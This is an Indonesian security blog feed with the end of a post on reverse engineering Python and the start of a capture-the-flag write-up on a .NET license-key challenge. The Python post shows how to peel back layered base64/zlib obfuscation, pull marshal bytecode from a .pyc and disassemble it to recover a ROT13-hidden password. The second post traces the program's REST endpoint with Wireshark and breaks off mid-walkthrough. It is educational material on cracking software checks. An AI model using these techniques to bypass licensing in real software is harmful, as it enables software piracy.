<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="239" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-160237-1024x239.png" alt="" class="wp-image-415" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-160237-1024x239.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-160237-300x70.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-160237-768x180.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-160237.png 1330w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Jadi mudah saja untuk melakukan deobfuscate kita tinggal me-replace fungsi<em> exec()</em> dengan <em>print()</em> karena kita tau jika fungsi exec() digunakan untuk melakukan eksekusi source code sedangkan fungsi print() digunakan untuk menampilkan output ke layar </p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-a3ead5281c2a32cc7a07f5b6f23179c8"><code>_ = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__&#91;::-1]));print((_)(b'A+pAW8w/+9cxY35EeyFVcLbyqDKGpUOanCFCUVVwGWItIYh9LzSSfRhole9RY8NVAqm0Bah4cir/PYFOiiCVIi1GYChx1LLEryJr+r3w0YzDOW0X8wGWYV90lCZwxIi5r4DAhED74pv6ZfYp7jf3tX4rqiVTMgCpUKa7CWGdZ0xV2dom1pnQNOz+Uk9uDlDPVEkizxnF4pDe1NnS9rWKmbls9A3Ho+wyR66EjIz3Qm4sckZDEMgKEIjogXq07OlXac8e8DY9HHOVzSQ5tXx5M8GZxa3nAx41zRazZRm2UPgh7ZpwocDx6/uQ05I03N63GPjsmpXjCZ/kHtbPvtGe1jWfqZf+tNkqC3e9Yy8OYJIh85XaZnesf7xZmjskHUtcJNkebJ5XA08w2Ptm/hHMbot288OWyQrTNR2ZOOXC+sSIa1wRL7YdNFAWUSd97hoc5Z7Am26D9Lm+wN4moDKJOXM639h0v39+3y2iBd3s6nvx1ZMJ7apc0LVYh6OSxTBG6VbOPDNAAAkQ2udwFwJe'))</code></pre>



<p>Disini kita ubah exec() dengan print() lalu jika kita jalankan</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="167" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-160905-1024x167.png" alt="" class="wp-image-416" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-160905-1024x167.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-160905-300x49.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-160905-768x126.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-160905.png 1346w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>terlihat menampilkan output tetapi output masih menunjukkan code yang masih ter-obfuscate dan bisa kita asumsikan jika obfuscate pada program menggunakan double encoding dan caranya untuk mendapatkan source code aslinya dengan copy ouput dan kita buat file python baru lalu ubah exec() menjadi print() jalankan dan jika belum menampilkan code asli ulangi hingga menemukan source code aslinya.</p>



<p>Cara cepatnya lebih baik kita membuat script automation decoding agar tidak perlu repot repot melakukan decoding</p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-3d0fe4c96b5ba1a82c304db288341f6b"><code>_ = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__&#91;::-1]));


obfuscate_str = (_)(b'A+pAW8w/+9cxY35EeyFVcLbyqDKGpUOanCFCUVVwGWItIYh9LzSSfRhole9RY8NVAqm0Bah4cir/PYFOiiCVIi1GYChx1LLEryJr+r3w0YzDOW0X8wGWYV90lCZwxIi5r4DAhED74pv6ZfYp7jf3tX4rqiVTMgCpUKa7CWGdZ0xV2dom1pnQNOz+Uk9uDlDPVEkizxnF4pDe1NnS9rWKmbls9A3Ho+wyR66EjIz3Qm4sckZDEMgKEIjogXq07OlXac8e8DY9HHOVzSQ5tXx5M8GZxa3nAx41zRazZRm2UPgh7ZpwocDx6/uQ05I03N63GPjsmpXjCZ/kHtbPvtGe1jWfqZf+tNkqC3e9Yy8OYJIh85XaZnesf7xZmjskHUtcJNkebJ5XA08w2Ptm/hHMbot288OWyQrTNR2ZOOXC+sSIa1wRL7YdNFAWUSd97hoc5Z7Am26D9Lm+wN4moDKJOXM639h0v39+3y2iBd3s6nvx1ZMJ7apc0LVYh6OSxTBG6VbOPDNAAAkQ2udwFwJe')


decode = str(obfuscate_str).replace('b"exec', "").replace('"', '')

result = b""
for i in range(0, 4):
        x = eval(decode)
        decode = str(x).replace('b"exec', "").replace('"', '')
        result = x


print(result.decode('utf-8'))
</code></pre>



<p>Jadi fungsi pada script diatas yaitu akan melakukan iterasi sebanyak 5 kali serta melakukan replace fungsi exec lalu dilakukan eval untuk menyimpan hasil decoding pada variable x hingga menemukan source code asli dan terakhir menggunakan print untuk menampilkan output code pada layar</p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="657" height="402" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-170600.png" alt="" class="wp-image-417" style="width:827px;height:auto" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-170600.png 657w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-170600-300x184.png 300w" sizes="auto, (max-width: 657px) 100vw, 657px" /></figure>



<p>Jika dijalankan maka akan manampilkan source code hasil deobfuscate yang menunjukkan kita berhasil mendapatkan source code aslinya. Case disini source code bisa dikembalikan pada bentuk semula karena hanya obfuscate memakai double encoding tapi bagaimana jika programmer melakukan compiling ataupun serialization ? jawabannya dengan melakukan analysis bytecode</p>



<p>Kita perlu kenalan dulu dengan marshal, jadi marshal merupakan fungsi atau modul bawaan dari python yang digunakan untuk mendapatkan byte code dari suatu script python itu sendiri jadi bisa kita sebut marshal ini sebagai suatu pseudo compiled dimana dengan marshal kita bisa melakukan converting code python ke binary format dan serialization menjadi bytecode object.</p>



<p>kita bisa melakukan compile python script menggunakan command :</p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-21e8c1a783c71ba2aaccf650788b6760"><code>python3 -m py_compile source_codes.py</code></pre>



<p>dan outputnya nanti akan tersimpan pada directory __<strong>pycache</strong>__ yang dimana extension file berubah menjadi .pyc. Sebenarnya.pyc merupakan file marshal yang ditambahkan header dan jika beruntung kita bisa melakukan decompile menggunakan uncompyle6 untuk mendapatkan source code asli tapi tidak selalu berhasil jadi cara alternatifnya kita perlu membaca bytecode mengunakan modul python yaitu <strong><em>dis</em></strong>.</p>



<p>untuk mengambil bytecode script python pada pyc mudah saja kita perlu mengambil byte setelah header dan paddingnya yaitu 16 byte lalu kita simpan pada file terpisah dan lakukan load menggunakan marshal.loads()</p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="790" height="210" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-173920.png" alt="" class="wp-image-418" style="width:840px;height:auto" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-173920.png 790w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-173920-300x80.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-173920-768x204.png 768w" sizes="auto, (max-width: 790px) 100vw, 790px" /></figure>



<p>Kita bisa ambil row kedua setelah 16 byte pada offset 00000010</p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-e6290d764c9537c074f63a66b35c530e"><code>import marshal

f = open("__pycache__/source_code.cpython-311.pyc", "rb").read()&#91;16:]
#f = open("source_code.py", "r").read()

print(f)
#code = compile(f, '', 'exec')
#print(marshal.dumps(code))
</code></pre>



<p>dan jika kita jalankan </p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="407" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-174504-1024x407.png" alt="" class="wp-image-419" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-174504-1024x407.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-174504-300x119.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-174504-768x306.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-174504.png 1347w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>maka akan menampilkan semua bytecode marshal pada file pyc kemudian kita bisa copas semua output lalu buat file baru yang nantinya kita akan eksekusi menggunakan marshal.loads()</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="343" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-174651-1024x343.png" alt="" class="wp-image-420" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-174651-1024x343.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-174651-300x100.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-174651-768x257.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-174651.png 1326w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>jika kita eksekusi sama saja dengan program .pyc kita</p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="749" height="178" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-174722.png" alt="" class="wp-image-421" style="width:840px;height:auto" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-174722.png 749w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-174722-300x71.png 300w" sizes="auto, (max-width: 749px) 100vw, 749px" /></figure>



<p>Disini bytecode dari pyc berguna untuk melakukan disassemble menggunakan modul <em><strong>dis</strong></em> yang kita bahas sebelumnya</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="330" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-175212-1024x330.png" alt="" class="wp-image-422" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-175212-1024x330.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-175212-300x97.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-175212-768x247.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-175212.png 1329w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>kita hanya perlu import modul dis dan lakukan pemanggilan fungsi <em><strong>dis.dis</strong></em> dengan parameter hasil marshal.loads() yang sebelumnya kita dapatkan</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1010" height="699" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-175506.png" alt="" class="wp-image-423" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-175506.png 1010w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-175506-300x208.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-175506-768x532.png 768w" sizes="auto, (max-width: 1010px) 100vw, 1010px" /></figure>



<p>Maka akan menampilkan hasil disassemble opcode dari script python hal ini bisa sulit jika codenya rumit tapi dari sini kita bisa melihat fungsi apa saja dan bagaimana suatu program itu bekerja</p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-4ed656cc0a88e67231262d10504b2aa0"><code>Disassembly of &lt;code object validation at 0x7fe1e3401330, file "source_code.py", line 3>:
  3           0 RESUME                   0

  4           2 LOAD_GLOBAL              1 (NULL + codecs)
             14 LOAD_ATTR                1 (decode)
             24 LOAD_CONST               1 ('ouvarxn-grpu1336')
             26 LOAD_CONST               2 ('rot-13')
             28 PRECALL                  2
             32 CALL                     2
             42 STORE_FAST               1 (valid_input)

  5          44 LOAD_FAST                0 (input)
             46 LOAD_FAST                1 (valid_input)
             48 COMPARE_OP               2 (==)
             54 POP_JUMP_FORWARD_IF_FALSE     2 (to 60)

  6          56 LOAD_CONST               3 (True)
             58 RETURN_VALUE

  9     >>   60 LOAD_CONST               4 (False)
             62 RETURN_VALUE</code></pre>



<p>Contohnya pada fungsi validation dimana ada beberapa mnemonic seperti <em>LOAD_GLOBAL </em>yang digunakan untuk mengambil fungsi global dalam hal ini codecs lalu ada <em>LOAD_ATTR </em>yang mengambil attribute dengan 2 parameter yaitu ouvarxn-grpu1336 dan rot-13 yang di inisialisasi menggunakan <em>LOAD_CONST</em> dan dilakukan perbandingan menggunakan COMPARE_OP dari variable input(dalam hal ini input dari user) dengan valid_input yang mengambil dari LOAD_GLOBAL codecs.</p>



<p>Disini kita bisa analysis jika codecs melakukan decode ROT-13 pada string ouvarxn-grpu1336 dan jika kita decode ROT13 string asli merupakan <em><strong>bhineka-tech1336</strong></em> lalu kita coba inputkan pada program</p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="556" height="125" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-180600.png" alt="" class="wp-image-424" style="width:831px;height:auto" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-180600.png 556w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-180600-300x67.png 300w" sizes="auto, (max-width: 556px) 100vw, 556px" /></figure>



<p>dan berhasil yang menunjukkan output Input Correct </p>



<p><strong>Penutup</strong></p>



<p>Sebenarnya masih banyak teknik yang bisa kita lakukan untuk RE pada python contohnya kita juga bisa melakukan overwrite internal module untuk hooking dan menampilkan suatu string / data tertentu atau jika pada executable file kita bisa memanfaatkan teknik memory dump untuk melihat data pada saat program berjalan. Jadi kita tidak mungkin membahas semuanya karena itu akan sangat panjang dan tulisan ini dibuat untuk para reverser engineer agar lebih memahami bagaimana melakukan reverse engineering pada python script jadi mungkin itu saja sekiann.</p>



<p><em>&#8220;Yang penting bukan seberapa pintar kamu, tetapi seberapa keras kamu berusaha.&#8221;</em> <strong> -Albert Einstein</strong></p>
<p>Artikel <a href="https://blog.bhineka-tech.org/2024/12/06/python-reverse-engineering/">Python reverse engineering</a> pertama kali tampil pada <a href="https://blog.bhineka-tech.org">Bhineka blog</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://blog.bhineka-tech.org/2024/12/06/python-reverse-engineering/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Reverse Engineering pada executable file</title>
		<link>https://blog.bhineka-tech.org/2024/10/02/reverse-engineering-pada-executable-file/</link>
					<comments>https://blog.bhineka-tech.org/2024/10/02/reverse-engineering-pada-executable-file/#respond</comments>
		
		<dc:creator><![CDATA[xpl0dec]]></dc:creator>
		<pubDate>Wed, 02 Oct 2024 23:23:59 +0000</pubDate>
				<category><![CDATA[cloud]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[operating system]]></category>
		<category><![CDATA[Reverse Engineering]]></category>
		<category><![CDATA[technology]]></category>
		<guid isPermaLink="false">https://blog.bhineka-tech.org/?p=99</guid>

					<description><![CDATA[<p>Halo temen temen cyber sec, karena berhubung kemaren lalu aku share suatu challenge dengan kategori Reverse Engineering di group Bhineka Tech jadi disini aku akan ngebahas gimana sih cara solve challenge tersebut. Bisa dibaca pada hint dan deskripsi dari challenge disana tertulis jika kita diharuskan untuk membongkar suatu executable file yang diberikan untuk mendapatkan suatu [&#8230;]</p>
<p>Artikel <a href="https://blog.bhineka-tech.org/2024/10/02/reverse-engineering-pada-executable-file/">Reverse Engineering pada executable file</a> pertama kali tampil pada <a href="https://blog.bhineka-tech.org">Bhineka blog</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>Halo temen temen cyber sec, karena berhubung kemaren lalu aku share suatu challenge dengan kategori Reverse Engineering di group Bhineka Tech jadi disini aku akan ngebahas gimana sih cara solve challenge tersebut.</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-100 size-full" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-02-080105.png" alt="" width="705" height="570" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-02-080105.png 705w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-02-080105-300x243.png 300w" sizes="auto, (max-width: 705px) 100vw, 705px" /></p>
<p>Bisa dibaca pada hint dan deskripsi dari challenge disana tertulis jika kita diharuskan untuk membongkar suatu executable file yang diberikan untuk mendapatkan suatu flag dan disitu aku juga menuliskan hint <em>REST API </em>yang nantinya ini bakal berguna saat kita memulai untuk melakukan analysis.</p>
<p>Karena banyak sekali yang mengeluh RE itu suatu topik yang sulit dan memang benar kalo misalkan kita tidak punya pengetahuan dasar jadi disarankan sebelum temen temen belajar Reverse Engineering ada baiknya temen temen mempelajari dulu beberapa konsep dasar dan fundamental tentang programming, memory layouting, cara kerja compiler/linker dan yang lebih penting bagaimana suatu program itu dibuat agar lebih memahami flownya.</p>
<p>Oke kembali ke topik utama, pertama kita lakukan download dulu file .exe pada URL yang diberikan dan langkah awal kita langsung jalankan programnya untuk melihat fungsi dari programnya</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-103 size-full" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-02-081745.png" alt="" width="1072" height="677" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-02-081745.png 1072w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-02-081745-300x189.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-02-081745-1024x647.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-02-081745-768x485.png 768w" sizes="auto, (max-width: 1072px) 100vw, 1072px" /></p>
<p>Programnya sangat sederhana yaitu dalam UI-nya ada textbox dan suatu button dimana jika dilihat pada labelnya kita diharuskan untuk meng-inputkan suatu License Key.</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-104 size-full" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-02-082227.png" alt="" width="1013" height="260" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-02-082227.png 1013w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-02-082227-300x77.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-02-082227-768x197.png 768w" sizes="auto, (max-width: 1013px) 100vw, 1013px" /></p>
<p>Jika dilihat pada archive zipnya didalam folder re_chall terdapat 2 libray atau DLL(dynamic library link) yaitu libcurl.dll dan zlib1.dll dimana DLL file ini digunakan untuk external library yang mana function-function dari .dll file ini digunakan didalam source code pada program yang mana jika kita menghapus .dll file ini program akan error, jelas saja karena memang ini file krusial yang di include oleh program.</p>
<p>Disini untuk identifikas awal kita bisa menggunakan command file untuk mengetahui deskripsi dari executable</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-115 size-full" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-035552.png" alt="" width="892" height="160" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-035552.png 892w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-035552-300x54.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-035552-768x138.png 768w" sizes="auto, (max-width: 892px) 100vw, 892px" /></p>
<p>Jika dilihat dari output command file menunujukkan <em>x86-64 Mono/.Net assembly </em>yang arinya merupakan binary yang di build diattas plaform .NET dimana .NET merupakan suatu  plaform open source yang menyediakan fungsionalitas seperti libray, dependency, module dsb unttuk membuat suatu aplikasi dan bahkan .NET bisa berajalan pada cross platform.</p>
<p>Disini kitta mengetahui jika executable ini di compile menggunakan .NET SDK jadi untuk memulai RE kita bisa menggunakan tools .NET decompiler dan disini kita akan menggunakan salah satu tools yang powerfull yaitu dnSpy yang berfungsi untuk debugger dan assembly editor pada aplikasi yang di build menggunakan .NET</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-117 size-full" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-040917.png" alt="" width="578" height="409" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-040917.png 578w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-040917-300x212.png 300w" sizes="auto, (max-width: 578px) 100vw, 578px" /></p>
<p>Setelah dibuka pada dnSpy kita bisa melihat dan explore component yang digunakan pada program disitu ada berbagai macam, untuk text program menggunakan label, untuk input menggunakan textbox dan disitu juga disertakan name pada masing masing component. Disini kita akan fokus pada submit_click yaitu component button karena kita tau dalam program setelah dilakukan submit button program akan melakukan action untuk validasi license key.</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-118 size-full" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-041515.png" alt="" width="1290" height="600" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-041515.png 1290w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-041515-300x140.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-041515-1024x476.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-041515-768x357.png 768w" sizes="auto, (max-width: 1290px) 100vw, 1290px" /></p>
<p>Hasil decompile dari code yang terdapat pada form submit_click yang pastinya sangat tidak readable ya disini karena hasil decompiling ini merupakan suatu pseudo code bukan code aslinya jadi kita akan melakukan static analysis manual dengan mencoba membaca result codenya</p>
<p>Disini sangat jelas jika program menggunakan bahasa c++ karena ada beberapa namespace c++ yang dipanggil seperti std::char dan std::string.</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-119 size-full" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-042102.png" alt="" width="1009" height="394" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-042102.png 1009w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-042102-300x117.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-042102-768x300.png 768w" sizes="auto, (max-width: 1009px) 100vw, 1009px" /></p>
<p>Saat melakukan source code review disini ditemukan suatu instansiasi libcurl bisa terlihat pada function curl_easy_init() dan curl_easy_setopt, seperti yang tertulis pada hint yaitu REST API yang mungkin program melakukan suatu request HTTP jadi mari coba kita lakukan capture pada wireshark</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-122 size-full" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-042745.png" alt="" width="1165" height="388" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-042745.png 1165w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-042745-300x100.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-042745-1024x341.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-042745-768x256.png 768w" sizes="auto, (max-width: 1165px) 100vw, 1165px" /></p>
<p>&nbsp;</p>
<p>Dan tidak ada result pada saat di filter di protocol HTTPhmm jadi mungkin saja memang host sudah memakai SSL jadi kita coba saja filter menggunakan protocol SSL/TLS</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-123 size-full" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-043053.png" alt="" width="1268" height="425" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-043053.png 1268w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-043053-300x101.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-043053-1024x343.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-043053-768x257.png 768w" sizes="auto, (max-width: 1268px) 100vw, 1268px" /></p>
<p>dan ya banyak sekali outputnya jadi kita perlu melakuan filter manual untuk menemukan suatu endpoint REST API dan karena memakai SSL semua request di enkripsi jadi disini kita tidak bisa melihat raw plain-text dari http request tapi dari sini kita bisa menemukan IP address beserta alamat port yang digunakan pada program</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-124 size-full" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-043438.png" alt="" width="945" height="431" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-043438.png 945w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-043438-300x137.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-043438-768x350.png 768w" sizes="auto, (max-width: 945px) 100vw, 945px" /></p>
<p>Jika kita melihat lagi lebih jauh disini ditemukan ada suatu SSL handshaking pada IP address 103.84.207.73 di pot 3000 dan jika kita melihat SNI(server name indication) yang merupakan extension dari protokol TLS yang menunjukkan cyber-uph.lol jadi kita akan coba akses melaui browser pada https://cyber-uph.lol:3000</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-125 size-full" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-043833.png" alt="" width="1882" height="915" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-043833.png 1882w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-043833-300x146.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-043833-1024x498.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-043833-768x373.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-043833-1536x747.png 1536w" sizes="auto, (max-width: 1882px) 100vw, 1882px" /></p>
<p>Tetapi pada saat diakses dari browser di homepage-nya terdapat response 404 dan juga pada header http disana ter-include <em>X-Powered-By: Express </em>yang bisa disimpulkan jika backend dibuat menggunakan node.js framework yaitu express.</p>
<p>Disini kita perlu mengetahui path endpoint yang digunakan untuk melakukan validasi license key jadi kita akan melakukan analysis lebih lanjut lagi pada program dan jika kita mencoba membaca pada instance curl kita menemukan deklarasi URL di function curl_easy_setopt</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-127 size-full" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-045618.png" alt="" width="956" height="146" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-045618.png 956w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-045618-300x46.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-045618-768x117.png 768w" sizes="auto, (max-width: 956px) 100vw, 956px" /></p>
<p>yang mana stiring <strong>??_C@_0CH@MEIFFGMC@https?3?1?1cyber?9uph?4lol?33000?1priv@</strong> jika kita bersihkan menjadi https://cyber-uph.lol:3000/priv dan pada saat diakses tetap saja response masih menunjukkan 404 jadi cara cepatnya kita bisa menggunakan utility string dan grep pada string cyber-uph.lol</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-128 size-full" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-045957.png" alt="" width="733" height="224" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-045957.png 733w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-045957-300x92.png 300w" sizes="auto, (max-width: 733px) 100vw, 733px" /></p>
<p>Dan sekarang ditemukan endpoint yang benar dan langsung coba kita akses pada browser</p>
